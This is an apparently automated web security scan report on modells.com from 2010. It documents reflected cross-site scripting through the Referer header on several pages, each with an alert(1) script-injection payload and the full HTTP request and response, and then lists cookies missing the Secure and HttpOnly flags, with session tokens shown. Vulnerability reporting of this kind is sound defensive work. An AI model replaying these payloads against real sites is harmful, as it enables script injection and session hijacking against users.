The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f25d7"><script>alert(1)</script>b677aa9125a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /cartHandler/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413; Referer: f25d7"><script>alert(1)</script>b677aa9125a
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:28 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 88167
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <meta http-equiv="X-UA-Compatible" content="IE=7" />
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 848d1"><script>alert(1)</script>6147fcdd629 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /category/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413; Referer: 848d1"><script>alert(1)</script>6147fcdd629
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:55 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 88150
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <meta http-equiv="X-UA-Compatible" content="IE=7" />
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e1c7"><script>alert(1)</script>3e260b55460 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /customHandler/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413; Referer: 2e1c7"><script>alert(1)</script>3e260b55460
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:29 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 88149
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <meta http-equiv="X-UA-Compatible" content="IE=7" />
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65697"><script>alert(1)</script>a43a690f473 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /product/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413; Referer: 65697"><script>alert(1)</script>a43a690f473
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:52 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 88150
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <meta http-equiv="X-UA-Compatible" content="IE=7" />
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c6d8"><script>alert(1)</script>75402cb5154 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /reviews/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413; Referer: 3c6d8"><script>alert(1)</script>75402cb5154
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:57 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 88150
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <meta http-equiv="X-UA-Compatible" content="IE=7" />
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8da8"><script>alert(1)</script>1e78d936705 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /search/controller.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413; Referer: d8da8"><script>alert(1)</script>1e78d936705
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:40 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 88150
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <meta http-equiv="X-UA-Compatible" content="IE=7" />
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
Request
GET /giftCertificates/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 16:28:15 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: JSESSIONID=3bv4NXtfbrYr0ksrWl2hvqmGLwPpsJNvTb1vh9j2hq7n7zK139Yp!-657162074; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 78273
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http ...[SNIP]...
3. Cookie without HttpOnly flag setpreviousnext There are 12 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /affiliate/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 16:28:24 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: JSESSIONID=hx2sNXtLGznnndHGm1byKqLYW09xGHZcJHSTTl638whhXXGLMJ2d!-657162074; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 64463
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cart/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 16:28:23 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: JSESSIONID=y4WqNXtHnTWTYzXnVp1hlPHMSppNVtLRzYXJJcpxDJJf415GdG9Q!-657162074; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 78344
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /corp/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /entry.jsp?entry=761269&source=CASHOP_DF:761269:MOD HTTP/1.1 Host: www.modells.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Moved Temporarily Date: Sun, 26 Dec 2010 13:44:05 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache Location: http://www.modells.com/product/index.jsp?productId=761269 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: browser_id=120576560393; expires=Wednesday, 23-Dec-2020 13:44:05 GMT; path=/ Set-Cookie: browser_id=120576560403; expires=Wednesday, 23-Dec-2020 13:44:05 GMT; path=/ Set-Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; path=/ Set-Cookie: browser_id=120576560413; expires=Wednesday, 23-Dec-2020 13:44:05 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 309
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www.modells.com/product/ind ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /giftCertificates/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 16:27:43 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: JSESSIONID=wRRnNXsfvyTJtpvH2tlyfhyr4BW9zhv3ZXGGjR2jLwpP7fSkMt7n!-657162074; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 75814
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /groupsales/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 16:27:45 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: JSESSIONID=JbTmNXtBcFyJ2hzt7xy0nNLGwG13p2sN48BbT5Zfq1V3hw1yQBMt!-657162074; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 67340
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
